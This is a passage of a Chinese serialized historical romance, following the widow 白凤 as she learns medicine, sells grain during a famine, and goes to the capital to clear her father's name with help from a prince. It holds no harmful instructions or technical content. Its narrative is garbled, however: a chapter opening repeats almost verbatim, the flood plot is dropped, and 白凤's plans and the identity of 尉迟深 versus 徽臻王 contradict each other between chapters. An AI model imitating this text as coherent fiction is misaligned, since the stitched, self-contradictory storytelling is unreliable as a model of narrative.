他每天都会来白凤家,名义上是看看动物们,实际上是想跟白凤说话。 白凤对他很冷淡,但尉迟深不在意。 “白凤,你就不能给本王一个机会吗?”尉迟深问。 “王爷,我说过了,我不想回京城。”白凤说。 “本王不是要你回京城。”尉迟深说,“本王只是想……” “想什么?”白凤问。 尉迟深张了张嘴,最后什么也没说。 白凤看着他,心里有些无奈。 她知道尉迟深对她有意思,但她对尉迟深真的没感觉。 当年的事,她已经放下了。但放下不代表原谅,更不代表她愿意跟尉迟深在一起。 “王爷,你还是回京城吧。”白凤说,“我们不合适。” 尉迟深沉默了一会儿,说:“本王知道,当年的事,是本王对不起你。但本王真的不知道,那个官家小姐会从中作梗。” 白凤一愣:“官家小姐?” “对。”尉迟深说,“当年本王收到你的信,说你不愿意嫁给本王。本王以为你真的不愿意,所以就没有再去找你。后来本王才知道,那封信是假的,是那个官家小姐伪造的。” 白凤心里一震。 原来如此。 当年她等了尉迟深很久,但尉迟深一直没来。她以为尉迟深变心了,所以才嫁给了白家。 没想到,竟然是有人从中作梗。 “那个官家小姐是谁?”白凤问。 “她已经死了。”尉迟深说,“本王查出真相后,就把她赐死了。” 白凤沉默了。 原来,这一切都是误会。 但误会又怎么样?她已经嫁过人了,还有了豆豆。 她不可能再跟尉迟深在一起了。 “王爷,过去的事就过去了。”白凤说,“我们都有各自的生活,不要再纠缠了。” 尉迟深看着她,眼里有些失落。 “好。”尉迟深说,“本王明天就回京城。” 白凤点点头。 第二天,尉迟深真的走了。 白凤站在院子里,看着他离开的背影,心里有些复杂。 但很快,她就把这些情绪抛到了脑后。 她还有很多事要做,没时间想这些。 尉迟深走后,白凤的日子又恢复了平静。 她每天照顾动物们,教豆豆读书写字,偶尔去镇上买些东西。 日子过得简单,但很充实。 但这种平静,很快就被打破了。 那天晚上,白凤正在院子里给动物们喂食,突然听见远处传来一阵喧哗。 她走出院子,看见镇上的人都往外跑。 “怎么了?”白凤拦住一个人问。 “河堤决口了!”那人急匆匆地说,“水要淹过来了!” 白凤心里一沉。 河堤决口? 她抬头看了看天,天上乌云密布,看起来要下大雨。 如果河堤决口,再加上大雨,整个镇子都会被淹。 白凤连忙跑回家,把豆豆叫了起来。 “豆豆,快起来,我们要走了。”白凤说。 豆豆揉了揉眼睛:“娘,怎么了?” “河堤决口了,我们要去高处避难。”白凤说。 豆豆一下子清醒了,连忙穿衣服。 白凤把动物们都赶到一起,准备带它们一起走。 但动物太多了,她一个人根本带不过来。 白凤咬了咬牙,只能先带着豆豆和几只小动物走。 她刚走到镇口,就看见镇上的人都在往外跑。 有人推着车,有人背着包袱,还有人抱着孩子。 场面一片混乱。 白凤拉着豆豆,跟着人群往外走。 但走了没多远,她就听见身后传来一阵哭声。 第164章 医者仁心,不能见死不救。 白凤关上门,靠在门板上,手心全是汗。 豆豆从屋里跑出来,抱住她的腿:“娘,刚才是谁呀?” “没事。”白凤蹲下来,摸摸他的头,“豆豆乖,去睡觉。” 把豆豆哄睡后,白凤坐在床边,脑子里乱糟糟的。徽臻王那边不会善罢甘休,她得想个法子。 第二天一早,白凤去了镇上。 她先去了药铺,买了些常用的药材。掌柜的是个五十多岁的老头,姓钱,人挺和气。 “白姑娘今天买这么多药?”钱掌柜笑着问。 “嗯,家里要用。”白凤说,“钱掌柜,我想问您个事。” “您说。” “镇上有没有会看病的大夫?”白凤问,“我想学点医术。” 钱掌柜愣了愣:“您要学医?” “对。”白凤点头,“我想多学点本事,以后也好养活豆豆。” 钱掌柜想了想:“倒是有个老大夫,姓孙,医术不错。不过他脾气古怪,不轻易收徒。” “能帮我引荐吗?”白凤问。 “我试试。”钱掌柜说。 下午,钱掌柜带着白凤去了孙大夫家。 孙大夫住在镇子西头,院子不大,但收拾得干干净净。老头七十多岁了,头发花白,但精神头很好。 “老孙,这位白姑娘想跟您学医。”钱掌柜说。 孙大夫上下打量白凤,眼神挺挑剔:“女娃娃学什么医?回家相夫教子去。” 白凤没生气,反而笑了:“孙大夫,我就是因为要养孩子,才想学医的。” “养孩子?”孙大夫哼了一声,“那你去绣花做衣裳,学医有什么用?” “绣花做衣裳赚不了几个钱。”白凤说,“但会医术就不一样了。镇上这么多人,谁家不生病?我要是会看病,不愁没饭吃。” 孙大夫眯起眼睛:“你倒是想得明白。” “孙大夫,您就收下她吧。”钱掌柜在旁边劝,“白姑娘是个好人,您看她把豆豆养得多好。” 孙大夫沉默了一会儿,突然问:“你识字吗?” “识。”白凤说,“我爹以前教过我。” “那行。”孙大夫说,“我给你三天时间,把这本医书背下来。要是背不下来,就别来了。” 他从屋里拿出一本破旧的医书,递给白凤。 白凤接过来,翻了翻,密密麻麻全是字。她心里一沉,但还是点了点头:“好,我一定背下来。” 回到家,白凤就开始啃医书。 这书写得晦涩难懂,很多字她都不认识。但她硬着头皮一个字一个字地看,不懂的就查字典。 豆豆趴在桌边,看着娘这么辛苦,心疼得不行:“娘,你别看了,眼睛都红了。” “没事。”白凤揉揉眼睛,“娘要学本事,以后才能让豆豆过好日子。” “可是娘你这样太累了。”豆豆说。 白凤笑了笑,摸摸他的头:“不累。只要豆豆乖乖的,娘就不累。” 三天后,白凤去了孙大夫家。 孙大夫坐在院子里,手里拿着茶杯,看起来挺悠闲。 “来了?”他抬眼看白凤。 “来了。”白凤说。 “背吧。”孙大夫说。 白凤深吸一口气,开始背医书。她一字不落地背了下来,中间没停过。 孙大夫听完,脸上露出一丝惊讶:“你真背下来了?” “嗯。”白凤说。 “行。”孙大夫站起来,“从明天开始,你每天来我这儿学医。” 白凤心里一喜:“谢谢孙大夫!” “别高兴得太早。”孙大夫说,“学医可不是件容易的事,你要是吃不了苦,趁早别学。” “我不怕吃苦。”白凤说。 从那天起,白凤每天都去孙大夫家学医。 孙大夫教得很严格,一点错都不能犯。白凤学得也认真,每天回家都要复习到半夜。 豆豆看着娘这么辛苦,也变得懂事了。他不再缠着白凤,自己在院子里玩,还帮着喂鸡喂猪。 日子就这么一天天过去。 白凤的医术越来越好,镇上的人都知道她跟孙大夫学医。有些小病小痛的,都来找她看。 白凤也不收钱,就当是练手。时间长了,她在镇上的名声越来越好。 这天,白凤正在家里整理药材,院门被敲响了。 她开门一看,门外站着个老太太,脸色蜡黄,走路都打晃。 “白姑娘,救救我家闺女!”老太太一把抓住白凤的手,“她快不行了!” 白凤心里一紧:“什么情况?” “她生孩子,生了两天了,还没生出来!”老太太哭着说,“接生婆说保不住了,让我们准备后事!” 白凤二话不说,拿起药箱就跟着老太太走。 老太太家在镇子南头,是个破旧的小院子。白凤进屋一看,床上躺着个年轻女人,脸色惨白,气息微弱。 接生婆坐在旁边,摇头叹气:“没救了,准备后事吧。” 白凤走过去,摸了摸产妇的脉搏。脉象虚弱,但还有救。 “让开。”白凤说。 接生婆愣了愣:“你要干什么?” “救人。”白凤说着,从药箱里拿出银针。 她在产妇身上扎了几针,又喂了些药。过了一会儿,产妇的脸色好了些,呼吸也平稳了。 “用力!”白凤说。 产妇咬着牙,用尽全身力气。 一声婴儿的啼哭响起,孩子生出来了。 老太太激动得直哭:“活了!活了!” 接生婆看得目瞪口呆:“这……这怎么可能?” 白凤没理她,继续给产妇处理伤口。忙活了大半个时辰,总算把人救回来了。 老太太拉着白凤的手,感激得不行:“白姑娘,您真是活菩萨!要不是您,我闺女就没命了!” “举手之劳。”白凤说,“以后好好养着,别干重活。” “好好好!”老太太连连点头。 白凤收拾好东西,准备离开。 老太太拿出一串铜钱:“白姑娘,这是诊金。” “不用。”白凤摆摆手,“我还在学,不收钱。” “那怎么行!”老太太硬要塞给她。 白凤推辞不过,只好收下了。 回到家,豆豆已经睡了。白凤坐在床边,看着他熟睡的小脸,心里暖暖的。 这孩子越来越懂事了,也越来越像个小大人。 白凤摸了摸他的头,轻声说:“豆豆,娘一定会让你过上好日子。” 第二天一早,白凤刚起床,院门又被敲响了。 她开门一看,门外站着好几个人,都是昨天那家的亲戚。 “白姑娘,谢谢您救了我们家人!”为首的是个中年男人,手里提着一篮子鸡蛋。 “不用客气。”白凤说。 “这是我们的一点心意,您一定要收下。”中年男人说。 白凤推辞不过,只好收下了。 这事很快在镇上传开了。大家都说白凤医术高明,连接生婆都救不回来的人,她都能救活。 从那以后,来找白凤看病的人越来越多。 白凤也不推辞,来者不拒。她知道,这是积累经验的好机会。 孙大夫听说了这事,特意来找白凤。 “你做得不错。”他说,“不过要记住,医者仁心,不能见死不救。” 第165章 遇到疑难杂症,一定要来找我 “我记住了。”白凤说。 “还有。”孙大夫说,“你现在医术还不够精,遇到疑难杂症,一定要来找我。” “好。”白凤点头。 日子就这么平静地过着。 白凤的医术越来越好,在镇上的名声也越来越响。 但她心里清楚,徽臻王那边还没放弃。她得时刻警惕,不能让他找到机会。 这天傍晚,白凤正在院子里晾药材,突然听到外面传来一阵喧哗声。 她走到门口一看,镇上围了一大群人。 “怎么了?”白凤问旁边的人。 “王婆子家出事了!”那人说,“她家二闺女死了!” 白凤心里一沉。 王婆子是镇上有名的泼妇,嘴巴毒得很。她家有三个闺女,前两个都嫁出去了,就剩最小的还在家。 “怎么死的?”白凤问。 “说是难产。”那人说,“接生婆说保不住,就没了。” 白凤皱起眉头。难产?这事怎么听着这么耳熟? 她正想着,突然听到王婆子的声音:“都是白凤那个贱人害的!” 白凤愣了愣,走过去:“王婆子,你这话什么意思?” 王婆子看到她,眼睛都红了:“你还有脸来!要不是你,我闺女怎么会死!” “我什么时候害过你闺女?”白凤说。 “你救了别人家的闺女,为什么不救我闺女!”王婆子哭着说,“你就是故意的!你就是想看我家笑话!” 白凤气笑了:“王婆子,你家闺女难产,你怎么不来找我?” “我……我不知道你会看这个!”王婆子说。 “那你现在怪我?”白凤说,“你家闺女出事,你不去找大夫,反倒来怪我?这是什么道理?” “反正就是你的错!”王婆子不讲理了,“你要是早点说你会接生,我闺女就不会死!” 围观的人都看不下去了。 “王婆子,你这话说得不对。”有人说,“白姑娘又不是神仙,怎么知道你家闺女出事?” “就是,你家闺女出事,你不去找人,反倒怪白姑娘?” 王婆子不管不顾,一屁股坐在地上,开始撒泼:“我不管!反正就是白凤害死了我闺女!她要赔命!” 白凤冷着脸,正要说话,突然听到一个低沉的声音:“够了。” 人群自动让开一条路。 尉迟深穿着一身黑色劲装,大步走了过来。他身后跟着几个侍卫,气势逼人。 王婆子看到他,哭声戛然而止。 镇上的人都认识尉迟深,知道他是徽臻王府的人。虽然不知道具体身份,但光看那架势,就知道不是好惹的。 “王婆子,你家闺女的事,我已经查清楚了。”尉迟深说,“是你家请的接生婆医术不精,耽误了时机。跟白姑娘没有半点关系。” “你……你胡说!”王婆子还想狡辩。 “我胡”尉迟深冷笑一声,“那接生婆已经招了,说是你家给的银子太少,她就随便应付了事。” 王婆子脸色一白。 “还有。”尉迟深继续说,“你家闺女难产,镇上好几个人都劝你去找白姑娘,是你自己不肯。现在出了事,反倒来讹人?” 围观的人纷纷点头。 “对对对,我当时就劝过王婆子。” “她说白姑娘是个寡妇,不吉利,不肯去找。” “现在倒好,出了事就来讹人。” 王婆子脸上红一阵白一阵,说不出话来。 尉迟深看向白凤:“白姑娘,这事你不用管。我会处理。” 白凤点点头:“多谢。” 尉迟深转身对侍卫说:“把王婆子带回去,好好审审。要是敢再来闹事,直接送官。” “是。”侍卫上前,架起王婆子就走。 王婆子还想挣扎,但看到尉迟深冰冷的眼神,顿时不敢动了。 人群散去,白凤回到院子里。 尉迟深跟了进来。 “多谢你帮忙。”白凤说。 “举手之劳。”尉迟深说,“不过你以后要小心,这种泼妇最难缠。” “我知道。”白凤说。 尉迟深看了看院子,又看了看屋里:“你这日子过得倒是清净。” “还行。”白凤说,“对了,你怎么还在镇上?不是说要回京吗?” “还有些事没处理完。”尉迟深说,“豆豆呢?” “在屋里睡觉。”白凤说。 “我去看看他。”尉迟深说着,走进屋里。 豆豆正睡得香,小脸红扑扑的。尉迟深站在床边,看了一会儿,嘴角露出一丝笑意。 白凤站在门口,看着这一幕,心里有些复杂。 尉迟深对豆豆是真的好,这点她看得出来。但她不想欠他太多人情。 “白姑娘。”尉迟深突然开口,“我有件事想跟你商量。” “什么事?”白凤问。 “我想收豆豆为义子。”尉迟深说。 白凤愣住了。 “你别误会。”尉迟深说,“我没有别的意思,就是觉得豆豆这孩子聪明,想给他一个好前程。” “不用。”白凤说,“豆豆有我就够了。” “你一个女人,能给他什么?”尉迟深说,“他以后要读书,要科举,这些都需要银子。你能供得起吗?” 白凤沉默了。 她知道尉迟深说的是实话。豆豆现在还小,但以后要读书,要娶妻,这些都需要钱。光靠她一个人,确实很难。 “我可以自己赚。”白凤说。 “你赚得了多少?”尉迟深说,“白姑娘,我知道你有骨气,但你也要为豆豆想想。” 白凤咬了咬嘴唇,没说话。 “你不用现在答复我。”尉迟深说,“好好考虑考虑。” 说完,他转身离开了。 白凤站在原地,心里乱成一团。 她知道尉迟深说的有道理,但她就是不想欠他的。 晚上,白凤躺在床上,翻来覆去睡不着。 豆豆在旁边睡得很香,小手还抓着她的衣角。 白凤看着他,心里一软。 算了,不想了。走一步看一步吧。 第二天,白凤照常去孙大夫家学医。 孙大夫今天心情不错,难得夸了她几句:“你这丫头,学得倒是快。” “多亏孙大夫教得好。”白凤说。 “少拍马屁。”孙大夫说,“对了,我听说镇上最近来了不少外地人?” “嗯。”白凤点头,“好像是从北边来的。” “北边?”孙大夫皱起眉头,“那边不是闹灾荒吗?怎么还有人往这边跑?” 白凤心里一动:“孙大夫,您是说北边闹灾荒?” “对啊。”孙大夫说,“听说今年北边大旱,颗粒无收。朝廷拨了赈灾银子,但不知道能不能发到百姓手里。” 白凤若有所思。 她记得前世,北边确实闹过一次大灾荒。但那次灾荒背后,还有一桩惊天大案。 有人趁着灾荒,囤积粮食,哄抬物价,赚了一大笔黑心钱。 后来事情败露,牵连了不少官员,连朝廷都震动了。 第166章 这可是个机会。 白凤眼睛一亮。 这可是个机会。 要是她能提前布局,不但能帮到灾民,还能赚一笔钱。 想到这里,白凤心里有了主意。 她跟孙大夫告辞,回到家就开始盘算。 首先,她得弄清楚北边的情况。 其次,她得想办法弄到粮食。 最后,她得找个靠谱的人帮忙。 白凤想了想,决定去找尉迟深。 虽然她不想欠他人情,但这事确实需要他帮忙。 她带着豆豆,去了尉迟深住的客栈。 尉迟深正在房间里看书,看到她来,有些意外:“白姑娘,有事?” “有。”白凤说,“我想跟你做笔生意。” “生意?”尉迟深来了兴趣,“什么生意?” 白凤把自己的想法说了一遍。 尉迟深听完,眼睛亮了:“你是说,北边有人要趁着灾荒发国难财?” “对。”白凤说,“我听说北边的粮价已经涨了好几倍,再这么下去,百姓就活不下去了。” “你想怎么做?”尉迟深问。 “我想收购粮食,运到北边去卖。”白凤说,“但不是高价卖,而是平价卖。” “平价卖?”尉迟深皱起眉头,“那你不是亏了?” “不会。”白凤说,“我算过了,只要量够大,就算平价卖,也能赚钱。而且这样一来,那些囤积粮食的人就没法哄抬物价了。” 尉迟深沉思了一会儿:“你这主意不错,但有个问题。” “什么问题?”白凤问。 “粮食从哪里来?”尉迟深说,“现在各地都在收粮,你能收到多少?” “这就要靠你了。”白凤说,“你在京城有关系,应该能弄到粮食吧?” 尉迟深笑了:“你倒是会算计。” “怎么样,做不做?”白凤问。 “做。”尉迟深说,“不过我有个条件。” “什么条件?”白凤警惕地看着他。 “这笔生意,我出钱,你出力。”尉迟深说,“赚的钱,我们五五分。” 白凤想了想,点头:“成交。” 两人一拍即合,开始筹划起来。 尉迟深派人去京城调粮,白凤则在镇上打听消息。 几天后,尉迟深的人回来了,带回来一个消息。 “王爷,北边的情况比我们想的还要严重。”侍卫说,“不但闹灾荒,还有人趁机造反。” “造反?”尉迟深脸色一沉。 “对。”侍卫说,“听说是边关的一些将领,勾结外敌,想趁机作乱。” 白凤心里一惊。 她记得前世,确实有这么一回事。但那时候朝廷反应太慢,等发现的时候,已经晚了。 “你确定?”尉迟深问。 “确定。”侍卫说,“我们的人已经查清楚了,那些将领正在暗中调兵,准备起事。” 尉迟深站起来,在房间里来回踱步。 “这事不能拖。”他说,“我得马上回京,把这消息报给皇上。” “那粮食的事怎么办?”白凤问。 “你先处理着。”尉迟深说,“我会让人配合你。” “好。”白凤点头。 尉迟深看了她一眼:“白姑娘,这次多亏了你。要不是你提醒,我还不知道北边出了这么大的事。” “举手之劳。”白凤说。 尉迟深笑了笑,没再说什么。 当天晚上,尉迟深就带着人离开了镇子。 白凤站在院子里,看着他远去的背影,心里有些复杂。 这个男人,还真是个谜。 不过现在不是想这些的时候,她得赶紧把粮食的事办好。 接下来的日子,白凤忙得脚不沾地。 她一边学医,一边打理粮食的事。 尉迟深留下的人很能干,帮了她不少忙。 很快,第一批粮食就运到了北边。 白凤定的价格很公道,比市价低了三成。 消息一传开,灾民们都来买粮。 那些囤积粮食的商人傻眼了,他们手里的粮食根本卖不出去。 有人想来找白凤的麻烦,但看到她背后有尉迟深撑腰,都不敢动。 就这样,白凤不但帮了灾民,还狠狠赚了一笔。 孙大夫听说了这事,对她刮目相看:“你这丫头,还真有两下子。” “运气好罢了。”白凤笑着说。 “运气?”孙大夫摇头,“这可不是运气,是眼光。” 白凤没说话,心里却在想别的事。 尉迟深走了快一个月了,也不知道京城那边怎么样了。 边关的事,应该已经处理好了吧? 正想着,院门被敲响了。 白凤开门一看,门外站着个陌生男人。 “你是?”白凤问。 “白姑娘,我是王爷派来的。”男人说,“王爷让我给您带句话。” “什么话?”白凤问。 “王爷说,边关的事已经解决了。”男人说,“多亏了您提供的消息,朝廷及时出手,阻止了一场大乱。” 白凤松了口气:“那就好。” “还有。”男人说,“王爷说,您那批粮食卖得很好,赚的银子已经送过来了。” 说着,他递过来一个沉甸甸的包袱。 白凤打开一看,里面全是银票。 她数了数,足足有五千两。 这可是一笔巨款。 “王爷还说。”男人继续说,“他在京城给豆豆找了个好学堂,要是您愿意,可以带豆豆去京城读书。” 白凤愣住了。 去京城? 她看了看院子里玩耍的豆豆,心里有些犹豫。 白凤拿着银票,站在院子里发呆。 五千两银子,这可不是小数目。够她和豆豆过好几年的好日子了。 但去京城…… 她咬了咬嘴唇,心里拿不定主意。 豆豆跑过来,拉着她的衣角:“娘,你怎么了?” “没事。”白凤蹲下来,摸摸他的头,“豆豆,你想去京城吗?” “京城?”豆豆眼睛一亮,“那里是不是很大?” “嗯,很大。”白凤说,“那里有很多好学堂,你可以去读书。” “那我能见到尉迟叔叔吗?”豆豆问。 白凤愣了愣:“应该能吧。” “那我想去!”豆豆高兴地说,“我好久没见到尉迟叔叔了,我想他了。” 白凤看着豆豆期待的眼神,心里一软。 算了,去就去吧。 反正留在这里,也不知道徽臻王什么时候会来找麻烦。 不如去京城,至少有尉迟深照应着。 想到这里,白凤下定了决心。 她开始收拾东西,准备搬去京城。 镇上的人听说她要走,都来送行。 孙大夫拉着她的手,眼眶都红了:“你这丫头,学了这么点本事就要走了?” “孙大夫,我会回来看您的。”白凤说。 “回来看我有什么用?”孙大夫说,“你要是真有心,就把医术学好,别给我丢脸。” “我记住了。”白凤说。 钱掌柜也来了,送了她一大包药材:“白姑娘,这些药材你带着,路上用得着。” “多谢钱掌柜。”白凤说。 还有那个被她救过的产妇,也来送行。她抱着孩子,眼泪汪汪的:“白姑娘,要不是您,我和孩子都没命了。您一定要保重。” “你也是。”白凤说。 临走前,白凤去了一趟童氏家。 第167章 刚才是谁呀? 白凤关上门,靠在门板上,手心全是汗。 豆豆从屋里跑出来,抱住她的腿:“娘,刚才是谁呀?” “没事。”白凤蹲下来,摸摸他的头,“豆豆乖,先去睡觉。” 把豆豆哄睡后,白凤坐在桌边,点了盏油灯。 徽臻王这次派人来,语气比上次强硬多了。要是他真的亲自来,那可就麻烦了。 她得想个办法。 白凤翻出那本账本,又拿出一叠纸,开始写写画画。 既然躲不过,那就主动出击。 她要去京城,但不是被动地被带走,而是自己走。 天亮后,白凤去找徐禄生。 徐禄生正在院子里劈柴,看见她来,放下斧头:“白姑娘,这么早?” “徐大哥,我想请你帮个忙。”白凤说,“我要去京城一趟。” 徐禄生愣住:“去京城?为什么?” 白凤把徽臻王派人来的事说了一遍。 徐禄生听完,眉头紧皱:“那你打算怎么办?” “我想查查我爹娘当年的事。”白凤说,“我总觉得,他们被贬不是那么简单。” 徐禄生点点头:“你说得对。你爹当年是户部侍郎,清正廉洁,怎么会突然被贬?” “所以我要去查。”白凤说,“但豆豆和这些动物,我得托付给你。” 徐禄生拍拍胸脯:“放心,我一定照顾好他们。” 白凤松了口气。 回到家,她开始收拾东西。 豆豆看见她在收拾,急了:“娘,你要去哪儿?” “娘要去京城办点事。”白凤蹲下来,看着他的眼睛,“豆豆乖,在家等娘回来。” 豆豆眼圈红了:“娘,我不想你走。” 白凤心里一酸,抱住他:“娘很快就回来。” 乐乐趴在她脚边,呜呜地叫着。 来财也凑过来,用头蹭她的手。 福球更是直接跳到她怀里,不肯下来。 白凤一一安抚它们,心里却越发坚定。 她要去京城,查清楚当年的真相。 第二天,白凤带着简单的行李,坐上了去京城的马车。 马车是徐禄生帮她找的,车夫是个老实人,一路上话不多。 白凤坐在车里,看着窗外的风景,心里却在盘算着到了京城该怎么办。 首先,她得找个落脚的地方。 其次,她得想办法接近当年的案卷。 最后,她还得防着徽臻王。 想到徽臻王,白凤就头疼。 那个男人,明明跟她没什么关系,却偏偏要纠缠不清。 马车走了三天,终于到了京城。 京城比白凤想象中还要繁华。街道宽阔,人来人往,各种店铺鳞次栉比。 白凤下了马车,找了家客栈住下。 客栈不大,但胜在干净。 白凤放下行李,出门打听消息。 她先去了趟户部,想看看能不能找到当年的案卷。 户部的门口站着两个守卫,白凤走过去,被拦住了。 “站住,这里是户部重地,闲人免进。”守卫说。 白凤笑了笑:“我是来查案卷的。” “查案卷?你有文书吗?”守卫问。 白凤摇摇头。 守卫冷笑:“没有文书,还想进去?做梦!” 白凤没有生气,转身离开。 她知道,硬闯是不行的,得想别的办法。 回到客栈,白凤坐在桌边,开始想对策。 就在这时,门被敲响了。 白凤走过去开门,门外站着一个年轻女子。 女子穿着华丽的衣裳,头上戴着金钗,一看就是大户人家的小姐。 “你是白凤?”女子问。 白凤点点头:“你是?” “我叫柳如烟,是户部尚书的女儿。”女子说,“听说你在打听你爹娘的案子?” 白凤心里一紧:“你怎么知道?” 柳如烟笑了笑:“京城不大,消息传得快。” 白凤没有说话,只是看着她。 柳如烟走进来,关上门:“我可以帮你。” “为什么?”白凤问。 “因为我也想知道真相。”柳如烟说,“当年你爹的案子,我爹也参与了。但我总觉得,这里面有问题。” 白凤看着她,心里在权衡。 柳如烟看起来不像是坏人,但京城水深,她不敢轻易相信别人。 “你想怎么帮我?”白凤问。 “我可以带你进户部,查案卷。”柳如烟说,“但你得答应我一个条件。” “什么条件?” “查到真相后,你得告诉我。”柳如烟说。 白凤想了想,点点头:“好。” 柳如烟笑了:“那就这么说定了。明天一早,我来接你。” 说完,她转身离开。 白凤关上门,心里却在打鼓。 柳如烟真的可信吗? 她不知道。 但现在,她没有别的选择。 第二天一早,柳如烟果然来了。 她带着白凤,坐着马车,直奔户部。 守卫看见柳如烟,立刻让开了路。 白凤跟着她,走进了户部。 户部里面很大,到处都是忙碌的官员。 柳如烟带着白凤,七拐八拐,来到了一间库房。 “案卷都在这里。”柳如烟说,“你自己找吧。” 白凤点点头,开始翻找。 案卷很多,白凤找了半天,终于找到了当年的卷宗。 她打开一看,眉头立刻皱了起来。 卷宗上写着,她爹因为贪污受贿,被贬为庶民。 但白凤知道,她爹不是那样的人。 她继续往下看,突然看到了一个名字。 太子。 白凤心里一震。 太子怎么会牵扯进来? 她继续翻看,越看越心惊。 原来,当年她爹查到了太子的一桩贪污案,准备上报。 但太子先下手为强,反咬一口,说她爹贪污。 皇上信了太子的话,把她爹贬为庶民。 白凤握紧了拳头。 原来真相是这样。 她爹娘是被冤枉的。 “找到了?”柳如烟走过来。 白凤点点头,把卷宗递给她。 柳如烟看完,脸色也变了:“太子……” “对。”白凤说,“是太子陷害了我爹。” 柳如烟沉默了一会儿:“你打算怎么办?” “我要为我爹娘平反。”白凤说。 柳如烟摇摇头:“太子势力庞大,你一个人斗不过他。” “那我也要试试。”白凤说。 柳如烟看着她,叹了口气:“你真是倔。” 白凤没有说话,只是把卷宗收好。 她知道,这条路很难走。 但她不会放弃。 就在这时,门外传来了脚步声。 柳如烟脸色一变:“有人来了,快走!” 白凤跟着她,匆匆离开了库房。 两人刚走出户部,就看见一群人围了上来。 为首的,是个穿着官服的中年男人。 “柳小姐,你怎么在这里?”中年男人问。 柳如烟笑了笑:“我带朋友来看看。” 中年男人看了白凤一眼,眼里闪过一丝怀疑。 “这位是?” “我朋友。”柳如烟说。 中年男人点点头,没有再问。 白凤和柳如烟离开了户部,坐上马车。 “刚才那个人是谁?”白凤问。 第168章 更加艰难。 “户部侍郎,太子的人。”柳如烟说,“你得小心,太子的眼线很多。” 白凤点点头。 她知道,接下来的路,会更加艰难。 回到客栈,白凤把卷宗藏好,坐在桌边发呆。 太子的势力这么大,她一个人怎么斗得过? 正想着,门又被敲响了。 白凤走过去开门,门外站着的,竟然是徽臻王。 “你怎么来了?”白凤皱眉。 徽臻王走进来,关上门:“听说你来京城了。” “你的眼线还真多。”白凤冷笑。 徽臻王没有生气,只是看着她:“你来京城,是为了查你爹娘的案子?” 白凤没有否认。 徽臻王坐下来:“我可以帮你。” “我不需要。”白凤说。 “你一个人斗不过太子。”徽臻王说,“但我可以。” 白凤看着他:“你为什么要帮我?” 徽臻王沉默了一会儿:“因为我欠你的。” 白凤愣住。 徽臻王继续说:“当年你爹的案子,我也参与了。但我没有站出来为他说话。” 白凤心里一震。 原来徽臻王也知道真相。 “你既然知道,为什么不”白凤问。 “因为我当时还年轻,没有实力。”徽臻王说,“但现在不一样了。” 白凤看着他,心里在权衡。 徽臻王的实力确实比她强。 但她不想欠他的人情。 “我可以帮你。”徽臻王说,“但你得答应我一个条件。” “什么条件?” “嫁给我。”徽臻王说。 白凤愣住。 徽臻王看着她:“我知道你不喜欢我,但我们可以联手。你需要我的势力,我需要你的……” “需要我的什么?”白凤打断他。 徽臻王沉默了一会儿:“需要你。” 白凤心里一乱。 她不知道该怎么回答。 “你考虑一下。”徽臻王站起来,“我等你的答复。” 说完,他转身离开。 白凤坐在桌边,心里乱成一团。 嫁给徽臻王? 她从来没有想过这个问题。 但现在,她确实需要他的帮助。 白凤想了一夜,终于做出了决定。 第二天,她去了徽臻王府。 徽臻王府很大,光是门口就站着十几个守卫。 白凤报上名字,守卫立刻让她进去了。 徽臻王正在书房里看书,看见她来,放下了书。 “你来了。” “我答应你。”白凤说,“但我有个条件。” “什么条件?” “帮我查清楚我爹娘的案子,为他们平反。”白凤说,“做到了,我就嫁给你。” 徽臻王点点头:“好。” 白凤松了口气。 徽臻王站起来,走到她面前:“既然你答应了,那我们就去见皇上。” “见皇上?”白凤愣住。 “对。”徽臻王说,“我要当着皇上的面,向你提亲。” 白凤心里一紧。 她没想到,徽臻王这么快就要行动。 但她没有退路了。 两人坐上马车,直奔皇宫。 皇宫比白凤想象中还要宏伟。高墙深院,到处都是守卫。 徽臻王带着她,一路畅通无阻,来到了御书房。 皇上正在批阅奏折,看见徽臻王来,抬起头:“你来了。” “皇兄。”徽臻王行礼,“我有事要禀报。” 皇上放下奏折:“说吧。” “我想娶白凤为妻。”徽臻王说。 皇上愣住,看了白凤一眼:“白凤?哪个白凤?” “就是当年户部侍郎白清远的女儿。”徽臻王说。 皇上脸色一变:“白清远?他不是被贬为庶民了吗?” “是。”徽臻王说,“但我查过了,他是被冤枉的。” 皇上沉默了一会儿:“你有证据?” 徽臻王拿出卷宗,递给皇上。 皇上接过来,仔细看了看,脸色越来越难看。 “太子……” “对。”徽臻王说,“是太子陷害了白清远。” 皇上把卷宗放下,看着徽臻王:“你想怎么办?” “我想为白清远平反。”徽臻王说,“还他一个清白。” 皇上沉默了很久,终于点了点头:“好,我答应你。” 白凤心里一松。 终于,她爹娘的冤情可以洗清了。 皇上看着她:“白凤,你愿意嫁给徽臻王吗?” 白凤点点头:“愿意。” 皇上笑了:“好,那就这么定了。” 白凤和徽臻王离开了御书房,坐上马车。 “谢谢你。”白凤说。 徽臻王看着她:“不用谢,这是我应该做的。” 白凤心里暖暖的。 她知道,徽臻王是真心想帮她。 马车走到半路,突然停了下来。 白凤掀开帘子,看见前面站着一群人。 为首的,是个穿着华丽衣裳的女子。 “那是谁?”白凤问。 “太子妃的妹妹,林婉儿。”徽臻王说。 林婉儿走过来,看着白凤,眼里满是敌意。 “你就是白凤?” 白凤点点头。 林婉儿冷笑:“罪臣之后,也配嫁给王爷?” 白凤没有生气,只是淡淡地说:“我爹不是罪臣,他是被冤枉的。” “冤枉?”林婉儿笑了,“你以为你说冤枉就冤枉?皇上都判了,还能有假?” “皇上已经答应为我爹平反了。”白凤说。 林婉儿脸色一变:“什么?” “你没听错。”徽臻王说,“皇上已经答应了。” 林婉儿咬着牙,看着白凤,眼里满是恨意。 “你给我等着。” 说完,她转身离开。 白凤看着她的背影,心里有些不安。 “她会不会找麻烦?”白凤问。 “会。”徽臻王说,“但不用怕,有我在。” 白凤点点头。 马车继续前行,回到了徽臻王府。 徽臻王让人给白凤安排了房间,又让厨房准备了饭菜。 白凤坐在房间里,看着窗外的景色,心里却在想着接下来该怎么办。 林婉儿肯定不会善罢甘休。 她得小心。 就在这时,门被敲响了。 白凤走过去开门,门外站着一个丫鬟。 “白姑娘,王爷请您去书房。” 白凤跟着丫鬟,来到了书房。 徽臻王正在看书,看见她来,放下了书。 “坐。” 白凤坐下来。 徽臻王看着她:“我查到了一些消息。” “什么消息?” “林婉儿和太子的关系不一般。”徽臻王说。 白凤愣住:“什么意思?” 